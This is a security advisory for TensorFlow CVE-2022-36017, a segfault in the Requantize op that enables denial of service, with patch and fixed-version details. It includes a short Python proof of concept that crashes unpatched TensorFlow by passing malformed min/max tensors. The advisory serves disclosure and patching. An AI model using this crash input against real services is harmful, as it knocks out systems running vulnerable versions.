TensorFlow vulnerable to segfault in `Requantize`

TensorFlow

CVE-2022-36017 · Published Sep 16, 2022 · updated Jul 13, 2026

Medium5.9
Fix: upgrade to 2.7.2 or later (3 fixed versions below)
GitHub advisory

Impact

If Requantize is given input_min, input_max, requested_output_min, requested_output_max tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.

```python

import tensorflow as tf

out_type = tf.quint8

input = tf.constant([1], shape=[3], dtype=tf.qint32)

input_min = tf.constant([], shape=[0], dtype=tf.float32)

input_max = tf.constant(-256, shape=[1], dtype=tf.float32)

requested_output_min = tf.constant(-256, shape=[1], dtype=tf.float32)

requested_output_max = tf.constant(-256, shape=[1], dtype=tf.float32)

tf.raw_ops.Requantize(input=input, input_min=input_min, input_max=input_max, requested_output_min=requested_output_min, requested_output_max=requested_output_max, out_type=out_type)

`

Patches

We have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
